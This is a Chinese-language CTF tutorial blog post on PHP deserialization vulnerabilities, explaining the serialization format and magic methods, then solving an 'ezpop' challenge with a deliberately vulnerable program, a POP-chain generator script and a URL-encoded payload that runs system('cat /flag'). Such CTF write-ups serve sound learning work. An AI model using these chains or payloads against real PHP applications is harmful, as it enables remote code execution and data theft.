前言

最近CTF比赛特别喜欢出反序列化的题目,主要涉及到PHP反序列化,JAVA反序列化,Python反序列化。作者第一次接触反序列化的题目的时候,当时能理出大概的思路。但是写链子的时候总是容易把自己绕晕,后来这样的题目做多了,也大致了解它的套路。作者打算把这篇文章做成一个专题,专门用来收集PHP反序列化的题目。

PHP序列化与反序列化

定义

序列化:把对象变成可以传输的字符串

反序列化:把被序列化的字符串还原为对象

public的属性在序列化时,直接显示属性名
protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3
private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2

相关函数

序列化:serialize
反序列化:unserialize

举个例子

<?php
class person
{
public $name;
public $age;
public $sex;
}

$test = new person; //给person类定义一个对象
$test->name = 'Mike';
$test->age = '18';
$test->sex = 'boy';
echo serialize($test); //输出反序列化后的内容
?>

输出:

O:6:"person":3:{s:4:"name";s:4:"Mike";s:3:"age";s:2:"18";s:3:"sex";s:3:"boy";}

注释:

O:6:”person”:3: 表示类的名字为person,它的字符串长度为6,并且有三个属性

{s:4:”name”;s:4:”Mike”;s:3:”age”;s:2:”18”;s:3:”sex”;s:3:”boy”;} 表示三个属性的名字和字符串长度,后面跟着的是对应属性的值与其字符串长度

反序列化漏洞

原理

漏洞形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,使得反序列化的过程可控,进而造成代码执行等一系列恶意操作。反序列化的过程会触发PHP魔术方法,于是利用魔法方法构造一种进行多次跳转然后获取敏感数据的Payload,被称为POP链。

PHP魔法函数

__construct()    #类的构造函数
__destruct() #类的析构函数,在对象被销毁时执行该函数
__call() #在对象中调用一个不可访问方法时调用
__callStatic() #用静态方式中调用一个不可访问方法时调用
__get() #获得一个类的成员变量时调用
__set() #设置一个类的成员变量时调用
__isset() #当对不可访问属性调用isset()或empty()时调用
__unset() #当对不可访问属性调用unset()时被调用。
__sleep() #执行serialize()时,先会调用这个函数
__wakeup() #执行unserialize()时,先会调用这个函数
__toString() #类被当成字符串时的回应方法
__invoke() #调用函数的方式调用一个对象时的回应方法
__set_state() #调用var_export()导出类时,此静态方法会被调用。
__clone() #当对象复制完成时调用
__autoload() #尝试加载未定义的类
__debugInfo() #打印所需调试信息

ezpop

  • 题目源码:
<?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke() #以函数的方式调用一个对象时触发
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct() #对象销毁的时候触发
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b) //在对象中调用一个不可访问方法时触发
{
echo $this->f1->get_flag(); //拿到flag的关键点
}

}

class what
{
public $a;

public function __toString() //#类被当成字符串时触发
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1); //用"/r"绕过注释,代码执行
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
  • 分析

我们最终的目的是为了执行system(‘cat /flag’),故我们需要调用mix类下的getflag函数。而getflag函数在fin类中的call魔法函数下才能被调用。而触发这个魔术方法需要在对象中调用一个不可访问方法,故把目光放在crow类中的invoke魔法函数下的world函数,它是个不存在的方法。而触发invoke需要以函数的方式调用一个对象,可以把目光放在fin类的run函数中,它可以去调用匿名函数。而run函数需要在what类下的toString被调用,而toString需要类被当成字符串时触发,故可以利用fin类的析构函数来把类进行输出。

我们最终构造的顺序就是把上面分析过程进行逆序,最终得出如下POP链

<?php 

class fin
{
public $f1;

}
class what
{
public $a;

}
class crow
{
public $v1;
public $v2;
}

class mix
{
public $m1;

}


$a1 = new fin();
$b1 = new what();
$a2 = new fin();
$c1 = new crow();
$a3 = new fin();
$d1 = new mix();

$a1->f1 = $b1; //用于触发__toString
$b1->a = $a2; //用于调用fin类中的run函数
$a2->f1 = $c1; //用于触发____invoke
$c1->v1 = $a3; //用于调用crow类中的world方法并触发__call
$a3->f1 = $d1; //用于调用mix类中的get_flag函数
$d1->m1 = "\r\nsystem('cat /flag');"; //绕过+代码执行

echo urlencode(serialize($a1)); //序列化+url编码
?>
Payload:cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A22%3A%22%0D%0Asystem%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D